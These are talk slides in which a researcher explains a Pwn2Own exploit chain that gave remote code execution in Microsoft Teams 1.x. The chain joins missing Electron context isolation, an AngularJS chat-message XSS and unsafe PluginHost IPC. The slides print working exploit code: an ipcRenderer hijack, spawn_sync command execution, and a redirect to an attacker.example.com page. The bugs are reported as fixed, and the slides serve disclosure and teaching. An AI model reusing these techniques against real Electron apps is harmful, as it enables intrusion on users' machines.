How I Hacked
Microsoft Teams
and got $150,000
in Pwn2Own
2023/7/25 Shibuya.XSS techtalk #12 Masato Kinugawa
whoami
• Masato Kinugawa
• I like XSS
• 2010~2016: Full-time bug bounty hunter
• 2016~: Pentester of Cure53
Today's topic
• Technical details of vulnerabilities allowing RCE in Microsoft
Teams
• I found them for Pwn2Own which was held in May 2022 and won
• Non-technical topics about my experience with the contest
can be heard in the following podcasts (* in Japanese)
https://podcasters.spotify.com/pod/show/shhnjk/episodes/Web-e1s9jjl/a-a923e6v
Pwn2Own?
• Hacking contest by Trend Micro's ZDI(Zero Day Initiative)
• Held since 2007
• Goal: Find specific target's (mainly) RCE and make the
demo successful within the defined time limit → $$$
• That day's demo: https://youtu.be/3fWo0E6Pa34?t=238
• The found vulns are notified to the vendor
Target examples
(in case of Pwn2Own Vancouver 2022)
• Browser (Chrome, Edge, Firefox, Safari)
• Desktop app (Teams, Zoom, Adobe Reader, Office 365)
• Car (Tesla)
• VM(Virtual Box, VMware, Hyper-V)
• Server(Microsoft Exchange, SharePoint, Windows RDP, Samba)
• OS(Windows, Ubuntu)
Pwn2Own Vancouver 2022 Rules (Web Archive):
https://web.archive.org/web/20220516223600/https://www.zerodayiniti
ative.com/Pwn2OwnVancouver2022Rules.html
Microsoft Teams?
• Needless to say, communication tool that enables chat or
video calls developed by Microsoft
• There are two versions and different technology is used
• 1.x: Electron ← Contest Target
• 2.x: Edge WebView
Three bugs I found
1. Lack of Context Isolation in main window
2. XSS via chat message
3. JS execution via PluginHost outside sandbox
➡ I achieved RCE by combining these bugs
Bug #1
1. Lack of Context Isolation in main window
2. XSS via chat message
3. JS execution via PluginHost outside sandbox
Electron?
• Framework for creating desktop applications with HTML,
CSS and JavaScript (Node.js)
• Developed by GitHub
• Examples of Electron app
• Visual Studio Code
• Discord
• Slack
• GitHub Desktop
• Figma
Electron basics
const {BrowserWindow,app} = require('electron');
app.on('ready', function() {
let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://${__dirname}/index.html`);
});
Hello Electron!
Main process Renderer process
main.js: index.html:
• Electron has two types of processes
• Browser part: Chromium
The first part to check
const {BrowserWindow,app} = require('electron');
app.on('ready', function() {
let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://${__dirname}/index.html`);
});
Hello Electron!
Main process Renderer process
main.js:
I always check this
index.html:
BrowserWindow
• API for creating browser window
• Focus on options for this API
• depending on the options, determine how RCE can be caused
new BrowserWindow({
webPreferences: {
nodeIntegration: false,
contextIsolation: false,
sandbox: true
[...]
}
});
Important options:
nodeIntegration
• Whether Node APIs (and Electorn's renderer process modules)
are enabled on web page
• If "true" and arbitrary JS exec is possible, RCE is possible just
using require():
require('child_process').exec('calc');
false is used
contextIsolation
• Whether to separate the JS context between the web
page and part that allows node APIs
• Part that allows node APIs:
• Electron internal JS code
• Preload scripts
What happens if "false"? ➡
false is used
If contextIsolation:fase
• When arbitrary JS exec is possible, Node API can be accessed,
e.g. via overridden prototype (even if nodeIntegration:false)
//Web page
Function.prototype.call = function(arg) {
arg.someDangerousNodeJSFunction();
}
// Preload script or Electron internal code
function someFunc(handler) {
handler.call(objectContainingNodeJSFeature);
}
If contextIsolation:false
//Web page
Function.prototype.call = function(arg) {
arg.someDangerousNodeJSFunction();
}
// Preload script or Electron internal code
function someFunc(handler) {
handler.call(objectContainingNodeJSFeature);//called
}
• When arbitrary JS exec is possible, Node API can be accessed,
e.g. via overridden prototype (even if nodeIntegration:false)
If contextIsolation:true
• The overridden prototype does not affect JavaScript on
different context and RCE through this trick is prevented
//Web page
Function.prototype.call = function(arg) {
arg.someDangerousNodeJSFunction();
}
// Preload script or Electron internal code
function someFunc(handler) {
handler.call(objectContainingNodeJSFeature);//called
}
Built-in Function.prototype.call is called
sandbox
• Whether to use Chromium's sandbox
• false is the same as running Chrome with --no-sandbox flag
• If false, it makes RCE easier via bugs such as memory corruption
• In addition, if true, some APIs become unavailable in a
context where the Node APIs are available , e.g:
• APIs executing OS command/program (e.g. shell.openExternal)
• APIs accessing clipboard without confirmation (clipboard module)
• APIs accessing local files
true is used
What can be said from used options
new BrowserWindow({
webPreferences: {
nodeIntegration: false,
contextIsolation: false,
sandbox: true
}
});
➡ When arbitrary JS exec is possible, due to sandbox, JS can't
access Node APIs which lead to RCE directly but due to the lack of
context isolation, other Node APIs may be accessible.
Trying to access interesting Node APIs
• When I'm trying to get an interesting reference to exploitable
Node API by overriding prototype of various built-in
methods...
• ipcRenderer module's reference came from overridden
Function.prototype.call
<br/>Function.prototype._call = Function.prototype.call;<br/>Function.prototype.call = function(...args) {<br/>if (args[3] && args[3].name === "__webpack_require__") {<br/>ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer;<br/>}<br/>return this._call(...args);<br/>}<br/>
ipcRenderer module
const { ipcMain } = require('electron');
[...]
ipcMain.handle('test', (evt, msg) => {
console.log(msg);//hello
return 'hey';
});
Hello Electron!
Main process
main.js:
index.html:
It is used to communicate between renderer and main process
const { ipcRenderer } = require('electron');
ipcRenderer.invoke('test','hello');
.then(msg=>{
console.log(msg);//hey
});
preload.js:
➡Main process has full access to Node APIs, so
it may lead to RCE if there is an IPC listener which doesn't have proper validation
Renderer process
Given the fact so far
1 Find a way to exec arbitrary JS, e.g.:
• XSS
• Redirect to arbitrary site
2 Find a part that leads to RCE, e.g.:
• Find IPC listener which leads to RCE through ipcRenderer module
retrieved from 1's js exec
• Find exposed API which leads to RCE directly even if sandbox:true (In
other words, find Electron 0-day)
Now, I know the main window does not have contextIsolation and
I can get ipcRenderer reference. The next thing to do is:
Bug #2
1. Lack of Context Isolation in main window
2. XSS via chat message
3. JS execution via PluginHost outside sandbox
Ideas to execute arbitrary JS
• XSS
• Redirect to arbitrary site
• The origin where the JS is executed is not important here
• Because it allows interfering the part that uses Node APIs and
achieving RCE if even arbitrary JS can be executed
• In addition, according to the rules of Pwn2Own, it is necessary
to achieve RCE without user interaction
I decided to take a closer look at chat messages ➡
Checking HTML sanitizer
• The chat allows users to use
some HTML/CSS
• It displays HTML after sanitizing
both on server and client-side
➡ The sever-side sanitization is black-box, so
I decided to check the client-side and try to guess the behavior
Sanitization in client-side
• sanitize-html library is used https://github.com/apostrophecms/sanitize-html
• Examples of what is sanitized:
• HTML elements/attributes allowing script exec(XSS)
• CSS allowing breaking layouts
Unexpectedly, checking sanitization around CSS here led to the
discovery of XSS...➡
Sanitization for class attr
• I found class attr's allow-list-ish string in client-side JS code:
e.htmlClasses = "swift-*,ts-image*,
emojione,emoticon-*,animated-emoticon-*,
copy-paste-table,hljs*,language-*,zoetrope,
me-email-*,quoted-reply-color-*"
• Actually, these classes were not removed by server/client-side
sanitization
• Looks like the asterisk part works as a wildcard
Behavior of wildcard (swift-*)
• Looks like anything except class attr's separator (e.g. 0x20) is
included there
test
test
But...due to a certain JS resource,
it leads to JS exec?! ➡
It's okay because arbitrary class name is not added?
A certain JS resource = AngularJS
• Teams used AngularJS as a client-side Framework in some
pages
• The chat message part is one of them
• These days it seems to be gradually being replaced by React
Speaking of AngularJS... ➡
XSSer ♥ AngularJS
• AngularJS is very useful library for XSSer
• Without using HTML tags, XSS is allowed via {{}} templates:
• It introduces CSP bypass even if unsafe-eval is not set:
{{constructor.constructor('alert(1)')()}}
XSS found in the past
• Actually, XSS via AngularJS in MS Teams was found by
security researchers in the past
• It occurred due to a template string filter bypass by inserting
a null char between {{}}
{{3*333}\u0000}
Details: https://github.com/oskarsve/ms-teams-rce
The fact that this XSS occurs on single-page app is that probably Teams dynamically compiles
user-input as AngularJS HTML (like inside ng-app attr)?
I thought AngularJS XSS might still occur in other ways.
When trying to find interesting features through AngularJS official doc,
found this ...➡
ngInit directive (1/2)
• It is used for init process before executing {{}} template
• "Hello World!" is displayed from this:
{{greeting}} {{person}}!
This attr's value is evaluated as AngularJS expression, so JS works via:
ng-init attribute is of course sanitized. But...➡
ngInit directive (2/2)
• ngInit can be used via class attr also
• The following are the same:
aaa
...
...
Official doc: https://docs.angularjs.org/api/ng/directive/ngInit
The following code is also interpreted as AngularJS expression:
➡ JS exec via class attribute!!
* ng-class, ng-style, etc. also can be used in the same way
How class directive is retrieved
aaa
aaa
aaa
aaa
CLASS_DIRECTIVE_REGEXP = /(([\w-]+)(?::([^;]+))?;?)/,
Retrieved by this regex:
The following all classes work as ng-init directive:
https://github.com/angular/angular.js/blob/47bf11ee94664367a26ed8c91b9b586d3dd420f5/src/ng/compile.js#L1384
If the swift-* wildcard's behavior is combined ... ➡
XSS!
alert() is executed when I sent next HTML as a chat message:
aaa
* The reason I used a slightly strange call here instead of "constructor" which I shown in other slides
is that there is a sandbox that prevents arbitrary JS exec depending on the version of AngularJS (All
versions have known bypasses though). Here, direct use of "constructor" was not allowed.
Reference: AngularJS sandbox bypasses list by Gareth Heyes
https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs
Yay! But the goal is RCE. It still continues! ➡
What I was able to do so far
• Found a way to arbitrary JS execution
• Found a way to get reference to IPCRenderer module by
abusing the lack of context isolation
So, the last step is to find IPC listener which
does not perform input-validation correctly.
When trying to find it, I noticed an interesting renderer called PluginHost...➡
Bug #3
1. Lack of Context Isolation in main window
2. XSS via chat message
3. JS execution via PluginHost outside sandbox
PluginHost
• Invisible renderer called PluginHost exists
• Apparently a node module called "slimcore" loaded here is
being operated from the main window via IPC
• Here, sandbox: false
• Maybe slimcore doesn't work when sandbox:true, so this renderer
exists?
"C:\Users\USER\AppData\Local\Microsoft\Teams\current\Teams.ex
e" --type=renderer [...] --app-
path="C:\Users\USER\AppData\Local\Microsoft\Teams\current\res
ources\app.asar" --no-sandbox [...] /prefetch:1 --msteams-
process-type=pluginHost
How slimcore is executed
• Set IPC listeners in PluginHost's preload script and execute through
messages sent from main window
• Main window can send message with API named sendToRendererSync
which exists in the object retrieved through bug #1
• btw, this API does not exists in Electron's original ipcRenderer module, so
maybe MS extended?
ELECTRON_REMOTE_SERVER_REQUIRE
ELECTRON_REMOTE_SERVER_MEMBER_GET
ELECTRON_REMOTE_SERVER_FUNCTION_CALL
There are IPC listeners named like:
What the IPC listeners do
• ELECTRON_REMOTE_SERVER_REQUIRE
• Call require() with string specified in message
• However, validation allows only allow-listed modules such as "slimcore"
• ELECTRON_REMOTE_SERVER_MEMBER_GET
• Perform property access using string specified in message
• ELECTRON_REMOTE_SERVER_FUNCTION_CALL
• Perform function call with string specified in message
• (listeners for SET or other operations also exist)
It's called like this:
require('slimcore').func('arg');
1. Send ELECTRON_REMOTE_SERVER_REQUIRE
3. Send ELECTRON_REMOTE_SERVER_FUNCTION_CALL
2. Send ELECTRON_REMOTE_SERVER_MEMBER_GET
Hm, I can smell something... ➡
Focus on MEMBER_GET's property access
ELECTRON_REMOTE_SERVER_MEMBER_GET's code:
P(c.remoteServerMemberGet, (e,t,n,o)=>{
const i = s.objectsRegistry.get(n);
if (null == i)
throw new Error(`Cannot get property '${o}' on missing remote object ${n}`);
return A(e, t, ()=>i[o])
}
)
variable i: acccess-target's object
variable o: accessed property
This property access is done without any check such as hasOwnProperty().
This means... ➡
Object.prototype.* access is allowed
require('slimcore').toString.constructor('js-code')();
1. REQUIRE
4. FUNCTION_CALL
2. MEMBER_GET 3. MEMBER_GET
5. FUNCTION_CALL
This allowed accessing Function() via constructor property
and executing arbitrary JS!
What can I do with this JS exec?
• The code is evaluated in the preload script's context
• That means... it has access to Node API!
• Additonally, sandbox:false, so no API restriction!
The way to perform RCE in this context ➡
process.binding
• Something like require() used in Node.js internal
• Only available when sandbox: false
• In the child_process module, binding('spawn_sync') is used
and by following the call here, command exec is possible:
a = {
"type": "pipe",
"readable": 1,
"writable": 1
};
b = {
"file": "cmd",
"args": ["/k", "start", "calc"],
"stdio": [a, a]
};
process.binding("spawn_sync").spawn(b);
I learned this from Math.js RCE by @CapacitorSet & @denysvitali:https://jwlss.pw/mathjs/
FYI:Can I use require()?
require('slimcore')
.toString.constructor("require('child_process')...")();
Why don't use require('child_process') directly?
This does not work. Why? ➡
Why require does not work
Because Function() creates a function executed within global scope
1: function (exports, require, module, __filename, __dirname) {
console.log(`1: ${arguments.callee.toString()}`);
console.log(`2: ${eval('typeof require')}`);
console.log(`3: ${constructor.constructor('typeof require')()}`);
}
2: function
3: undefined
console.log(`1: ${arguments.callee.toString()}`);
console.log(`2: ${eval('typeof require')}`);
console.log(`3: ${constructor.constructor('typeof require')()}`);
➡
Load as preload script
Exists in function scope
Another way to exec command
• Looks like other Pwn2Own participants (@adm1nkyj1 & @jinmo123) also
noticed the way to exec command via IPC
• However, the last step to achive RCE is a bit different. They used eval call existing in
preload scripts and called require('child_process'):
Details: https://blog.pksecurity.io/2023/01/16/2022-microsoft-teams-rce.html#2-
pluginhost-allows-dangerous-rpc-calls-from-any-webview
function loadSlimCore(slimcoreLibPath) {
let slimcore;
if (utility.isWebpackRuntime()) {
const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\");
slimcore = eval(`require('${slimcoreLibPathWebpack}')`);
[...]
}
[...]
}
Rewrite String.prototype.replace
and change return value
Arbitrary string is passed here
(This is direct eval call, so it is executed within this function scope and
require() access is allowed)
all bugs aligned!
1. Lack of Context Isolation in main window
2. XSS via chat message
3. JS execution via PluginHost outside sandbox
Let's launch calc! ➡
Steps to reproduce
1. Attacker creates a page containing the following code
<br/>Function.prototype._call = Function.prototype.call;<br/>Function.prototype.call = function(...args) {<br/>if (args[3] && args[3].name === "__webpack_require__") {<br/>ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer;<br/>}<br/>return this._call(...args);<br/>}<br/>
JS code to send IPC follows on the next page......
<br/>...<br/>JS code to get reference of ipcRenderer module:<br/>
<br/>setTimeout(function(){<br/>ipc.invoke('calling:teams:ipc:initPluginHost',true).then((id)=>{<br/>objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_REQUIRE',[[],'slimcore'],'')[0]['id'];<br/>objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',[[],objid,'toString',[]],'')[0]['id'];<br/>objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',[[],objid,'constructor',[]],'')[0]['id'];<br/>objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',[[],objid,[{"type":"value","value":<br/>'a={"type":"pipe","readable":1,"writable":1};b={"file":"cmd","args":["/k","start","calc"],"stdio":[a,a]};<br/>process.binding("spawn_sync").spawn(b);'}]],'')[0]['id'];<br/>ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',[[],objid,[{"type":"value","value":""}]],'');<br/>});<br/>},2000);<br/>
require('slimcore').toString.constructor('js-code')();
1. REQUIRE 4. FUNCTION_CALL
2. MEMBER_GET 3. MEMBER_GET
5. FUNCTION_CALL
Above code is for sending IPC to execute the following JS on PluginHost:
Steps to reproduce
The final code executed by eval is the following.
It just navigates to attacker's site:
setTimeout(function(){
location.replace('//attacker.example.com/poc.html');
},10000);
Page created at step 1
(* No need to use setTimeout. I used it for clarity of demo.)
Steps to reproduce
After a while, a navigation to the crafted page happens
(https://attacker.example.com/poc.html)
Steps to reproduce
Suddenly calc is executed!!!
(https://attacker.example.com/poc.html)
DEMO: https://youtu.be/TMh_WbF9VnM
All bugs were fixed
• contextIsolation: Enabled in main window now
• XSS: Allowed only limited characters in the wildcard part
• PluginHost: Applied web page's CSP to preload scripts
• For this, contextIsolation on PluginHost was disabled. By doing so,
looks like web page's CSP is applied to preload scripts and eval is
disabled. hmm..
• btw, apparently latest Electron(tested on v25+) does not allow
"eval" in preload scripts (Teams doesn't use the latest though)
• "Uncaught EvalError: Code generation from strings disallowed for
this context"